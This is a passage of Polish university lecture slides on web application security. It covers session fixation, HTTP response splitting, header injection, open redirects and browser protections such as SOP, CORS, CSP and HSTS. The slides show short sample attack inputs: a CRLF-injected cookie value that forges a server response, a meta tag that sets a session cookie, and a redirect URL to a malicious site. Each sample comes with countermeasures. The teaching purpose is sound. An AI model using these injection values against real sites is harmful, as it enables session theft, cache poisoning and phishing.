Jak to zrobić? Klient wysyła już znane mu Session ID w cookie,

serwery zazwyczaj akceptują takie zachowanie i wykorzystują

podany identyfikator

Jak?

Wyznaczyć Session ID (atakujący łączy się z webserwerem)

Przekazać Session ID ofierze

Wymusić na ofierze uwierzytelnienie się (np. XSRF)

Połączyć się ze znanym wcześniej Session ID

Session fixation

Źródło: OWASP

Page 42: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

42

Session fixation

Ale jak klient wysyła Session ID do serwera?

Parametr w URL (tego w ogóle lepiej nie stosować)

Ukryte pole formularza

Cookie

Zazwyczaj cookie

Jak atakujący ma ustawić cookie?

XSS

<meta http-equiv="set-cookie" content="…">

Wstawienie nagłówka HTTP (przez spoofing, MitM itd.)

Session fixation – przeciwdziałanie

Session ID tylko w cookie, tylko po HTTPS

Nie w GET/POST

Zmiana Session ID po zalogowaniu użytkownika

Powiązanie sesji z innym parametrem (analogicznie jak

w sesion hijacking)

Page 43: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

43

HTTP response splitting

Atakujący może wykorzystać złą walidację danych

przychodzących w nagłówkach żądania od klienta do

serwera

Przykład:

Set-Cookie: banner=hidden

Jeśli w jakiś sposób (znowu: XSS, XSRF, MitM itd.) uda się

podmienić cookie (albo to, z czego powstaje) tak, żeby

wyglądało jak…

HTTP response splitting – przykład

banner=hidden\r\n

Content-Length: 999\r\n\r\n

<html>zupełnie nowa strona ciągnąca się przez 999

bajtów…</html>

Page 44: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

44

HTTP response splitting – przykład

…to od serwera przyjdzie odpowiedź:

HTTP/1.1 200 OK

Set-Cookie: banner=hidden

Content-Length: 999

<html>zupełnie nowa strona ciągnąca się przez 999

bajtów…</html>

<html>prawidłowa odpowiedź od serwera, której

przeglądarka nawet nie zinterpretuje, bo jest po 999

bajtach…</html>

HTTP response splitting

W odpowiedzi można zawrzeć dowolną stronę

Czym to grozi?

XSS

Podstawienie (daface) strony

Cache poisoning (na proxy/cache może zostać zapamiętana

fałszywa odpowiedź)

Jak sobie z tym radzić?

Nie wykorzystywać w cookies parametrów podawanych jako

tekst przez przeglądarkę/użytkownika

A jeśli już: dokładna walidacja

Page 45: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

45

HTTP injection

Jeśli nagłówki HTTP generowane są dynamicznie na

podstawie wejścia od użytkownika, to spreparowana

zawartość może doprowadzić do fałszowania/dodawania

nowych nagłówków

Cała klasa ataków:

HTTP injection

HTTP request smuggling

Problem podobny do HTTP response splitting

Przeciwdziałanie: analogiczne

Więcej info: http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

Open redirect

Często przekierowania realizowane są w sposób:

https://example.com/najpierwtu?newurl=

https://example.com/potemtam

Jeśli oba adresy należą do tego samego podmiotu, to nie

ma problemu

Problem:

https://example.com/najpierwtu?newurl=

https://jakas-zla-strona.com/potemtam

Open redirect – sytuacja, w której example.com nie

sprawdza, czy docelowy adres jest poprawny

Page 46: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

46

Open redirect

Po co?

Ataki phishingowe

Obchodzenie filtrowania domen przez firewalle L7

Jak sobie z tym poradzić?

Filtrowanie wchodzących parametrów w URL

Mechanizmy ochrony

Page 47: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

47

Trochę mechanizmów polityk/ochrony

SOP – Same-Origin Policy

CORS – Cross-Origin Resource Sharing

X-Frame-Options

X-XSS-Protection

CSP – Content Security Policy

HSTS – HTTP Strict Transport Security

HPKP – HTTP Public Key Pinning

SOP

SOP – Same-Origin Policy

Koncepcja (to nie jest jedno rozwiązanie!) pozwalająca na

zdefiniowanie polityki dostępu pomiędzy różnymi obszarami

(origin)

Jeden obszar (origin) – wspólne trzy elementy:

Scheme (protokół), np. https:

Host (serwer), np. ki.agh.edu.pl

Port, tutaj domyślnie 443

Page 48: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

48

SOP

Ten sam origin:

https://ki.agh.edu.pl/admin/

https://admin:[email protected]/admin

https://ki.agh.edu.pl:443/

Różne origin (z powyższym i każde parami):

http://ki.agh.edu.pl

https://ki.agh.edu.pl:8080/

ftp://ki.agh.edu.pl/pub/misc/

SOP

SOP zazwyczaj odnosi się do JavaScript i dostępu

skryptów do DOM (modelu strony)

Istnieją też rozwiązania oparte o taką politykę dla:

XMLHttpRequest

Cookies

Adobe Flash

aplety Java

Microsoft Silverlight

Page 49: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

49

SOP – cookies

Można ustawić cookie dla domeny lub swojej naddomeny

Publiczny sufiks – domena, w której da się zarejestrować

swoją domenę bezpośrednio

Przykład: krakow.pl, ale już mojafirma.pl nie jest

Utrzymywana lista: publicsuffix.org

Przeglądarki nie pozwalają utworzyć cookie

dla publicznego sufiksu

Firefox i Chrome – na podstawie publicsuffix.org

IE – ma swoją listę

SOP – cookies

Czy takie rozwiązanie chroni przed wyniesieniem

sesyjnego cookie?

Dalej możliwe XSRF

Clickjacking – sprawienie, że użytkownik kliknie

w element, którego w danym miejscu się nie spodziewa

Likejacking – użytkownik nie spodziewa się, że dokonuje

interakcji z pluginem Facebooka

Password Manager Jacking – podstawienie strony wypełnianej

przez manager haseł i sprawienie, że użytkownik wykona

nieświadomie logowanie

Użytkownik dalej może wysłać cookie do danej strony

(to samo origin), tylko nie wie, że to robi

Page 50: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

50

SOP

SOP chroni przed dostępem przez skrypty

Utrudnia XSS

…ale nie chroni przez XSRF

Wymagałoby to zakazania odnośników do stron spoza origin

Czyli podstawowej funkcjonalności WWW

SOP

Kilka popularnych elementów na stronach:

<iframe> – osadzanie (embed) dozwolone, czytanie (read)

niedozwolone

<css> – osadzanie (embed przy pomocy <link> lub @file)

dozwolone

<form> – pisanie (write – wysyłanie wypełnionych formularzy

przy pomocy atrybutu action) dozwolone

<img> – osadzanie możliwe, ale czytanie (przy pomocy

JavaScript i np. canvas) niedozwolone

<video>, <audio> – osadzanie dozwolone

<script> – osadzanie dozwolone, ale część API blokowana

(np. Fetch)

Page 51: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

51

CORS

CORS – Cross-Origin Resource Sharing

Mechanizm rozluźniania polityki SOP

Pozwala na odnoszenie się do zasobów z innych origin

Kiedy zapytania HTTP generowane są ze strony?

XMLHttpRequest (a dokładniej XMLHttpRequest2, bo

CORS działa dopiero od wersji 2)

Fetch API

CORS

Jak SOP przekłada się na model żądanie-odpowiedź?

Write – wysłanie żądania

Read – dostęp do wyników (odpowiedzi serwera)

Zgodnie z SOP – zapytania cross-origin mogą zostać

wykonane (write), ale aplikacja dokonująca żądania nie ma

dostępu do zwróconych wyników (read).

Jak to działa?

Serwer docelowy (ten, do którego aplikacja wykonuje żądanie)

określa, czy aplikacja jest z originu, któremu ten serwer ufa

Page 52: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

52

CORS

Źródło: keycdn.com/support/cors

X-Frame-Options

Skoro już było o <iframe>…

X-Frame-Options – nagłówek HTTP, wskazujący, w jaki

sposób przeglądarka ma postępować z osadzanymi

elementami:

<frame> (podział na strony), <iframe> (osadzenie jednej

strony na drugiej), <object>, <embed>

Możliwe wartości:

DENY

SAMEORIGIN

ALLOW FROM https://example.com

Page 53: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

53

X-XSS-Protection

Nagłówek HTTP informujący przeglądarkę o możliwości

dokonania analizy strony pod kątem XSS

Przeglądarka dokonuje analizy danych wejściowych, wyszukując

wzorców charakterystycznych dla ataków XSS

Konfiguracja:

X-XSS-Protection: 0 – brak audytu danych wejściowych

X-XSS-Protection:1 – audyt włączony, w przypadku znalezienia

problemu, dane są „czyszczone” ze szkodliwej zawartości

X-XSS-Protection: 1; mode=block – audyt włączony,

w przypadku stwierdzenia XSS cała strona nie jest ładowana

X-XSS-Protection: 1; report=http://example.com/report-

page – audyt włączony, naruszenie zgłaszane pod dany adres (więcej

przy okazji CSP), tylko Chrome i Safari

X-XSS-Protection

Nagłówek dodany w Internet Explorer 8 (2011 r.)

Wspierany także przez Google Chrome i Safari

Mozilla Firefox: nagłówek niewspierany i nie będzie obsługiwany

w przyszłych wersjach przeglądarki

Dlaczego tak?

Rozwiązanie zastąpione przez CSP

System nie jest do końca bezpieczny

Wiele błędów znalezionych w audytorach XSS w Internet

Explorer i Chrome

Google twierdzi, że audytor tylko zmniejsza

prawdopodobieństwo XSS, a nie uniemożliwia ataku

Page 54: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

54

CSP

CSP – Content Security Policy

Wskazanie dozwolonych źródeł zasobów na stronie (obrazków,

skryptów, arkuszy CSS, obiektów multimedialnych, Active X itd.)

Co robić w razie naruszeń

Kilka wersji:

CSP Level 1 – 2012 rok

CSP Level 2 – 2014 rok (i do tego będę się odnosił)

CSP Level 3 – draft, ostatnia dostępna wersja z listopada 2018

Jak przekazać informację:

HTTP Content-Security-Policy – nagłówek HTTP

CSP – jak to działa?

No dobra, ale co to są te dyrektywy?

Dyrektywa – polityka mówiąca, jaki rodzaj zasobów może być

pobierany z jakiego źródła

Składnia:

RODZAJ: ŹRÓDŁO1 ŹRÓDŁO2 ŹRÓDŁO3;

Przykład:

Content-Security-Policy: script-src 'self'; img-src 'self';

style-src 'self' cdn.com;

Page 55: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

55

CSP – dyrektywy

base-uri (CSP 2.0),

child-src (CSP 2.0,

zastępuje frame-src),

connect-src (CSP 1.0),

default-src (CSP 1.0),

font-src (CSP 1.0),

form-action (CSP 2.0),

frame-ancestors (CSP 2.0),

frame-src (tylko CSP 1.0,

obecnie przestarzałe),

img-src (CSP 1.0),

media-src (CSP 1.0),

object-src (CSP 1.0),

plugin-types (CSP 2.0),

report-uri (CSP 1.0),

sandbox (CSP 1.0),

script-src (CSP 1.0),

style-src (CSP 1.0).

CSP – źródła

Co może być źródłem (CSP 1.0+)?

'self' – tylko ten sam origin

Host: example.com – oznacza dopasowanie po HTTP i HTTPS (z tego i z tego załadują się elementy)

Host z protokołem: https://example.com

Host wraz z definicją portu: example.com:80

* – w dowolnej sekcji originu, ale w domenie może dotyczyć tylko skrajnie lewego elementu, np. *://*.example.com:*

Co może być źródłem (CSP 2.0+)?

http://example.com/js/source.js

example.com/js – plik js

example.com/js/ – elementy z katalogu js

Page 56: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

56

CSP – źródła

Ponad to (CSP 1.0+):

'none' – zabroń w ogóle

'unsafe-inline' – pozwala na ładowanie skryptów, styli

i obrazków inline (bezpośrednio z kodu strony),

'unsafe-eval' – dozwolone używanie funkcji eval i innych

dynamicznie generujących kod JS (ale i tak się nie powinno)

Ponad to (CSP 2.0+):

'nonce-NNNN' – token, który musi pojawić się w skryptach

inline, by mogły zostać wykonane

'sha256-NNNN' 'sha384-NNNN' 'sha512-NNNN' – suma

kontrolna ze skryptu inline, jeśli ma zostać wykonany

FP

Feature Policy – nagłówek HTTP pozwalający określać,

jakie API może użyć przeglądarka i do czego może się

odnosić

Podobny do CSP

Przykład:

Feature-Policy: vibrate 'self'; usermedia *; sync-xhr 'self'

https://example.com

Na razie bardzo słabe wsparcie przez przeglądarki

Chrome 60+ (częściowo)

Edge 76+ (częściowo)

Safari 11.1+ (częściowo)

Opera 40+ (częściowo)

Page 57: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

57

FP

Dyrektywy (wybrane):

ambient-light-sensor – sprawdzanie poziomu oświetlenia w

otoczeniu

autoplay

accelerometer

batery

camera

display-capture

document-domain

fullscreen

geolocation

HSTS

HTTP Strict Transport Security

Serwer informuje przeglądarkę, że strona ma być osiągana

wyłącznie po HTTPS

Ochrona przed atakami w stylu SSLStrip

Przykład nagłówka HTTP:

Strict-Transport-Security: max-age=2592000;

includeSubDomains

max-age – ile sekund od ostatniego zobaczenia nagłówka

HSTS przeglądarka ma pamiętać, by używała HTTPS

includeSubDomains – jak widać

Page 58: Wprowadzenie do kryptografii i bezpieczeństwahome.agh.edu.pl/~dsuder/prymus/20200114_7_web-security.pdf · Nazwy w DNS Budowa hierarchiczna, zapisywana od najmniej do najbardziej

12.12.2019

58

HPKP

HTTP Public Key Pinning

Serwer informuje przeglądarkę, że strona korzysta

wyłącznie ze wskazanych certyfikatów

Przykład nagłówka HTTP:

Public-Key-Pins: pin-sha256="…"; pin-sha256="…";

pin-sha256="…"; max-age=10000;

includeSubDomains

pin-sha256 – base64(sha256(asn1(cert)))

max-age – ile sekund od ostatniego zobaczenia nagłówka

HPKP przeglądarka ma pamiętać, by używała wskazanych cert.

includeSubDomains – jak widać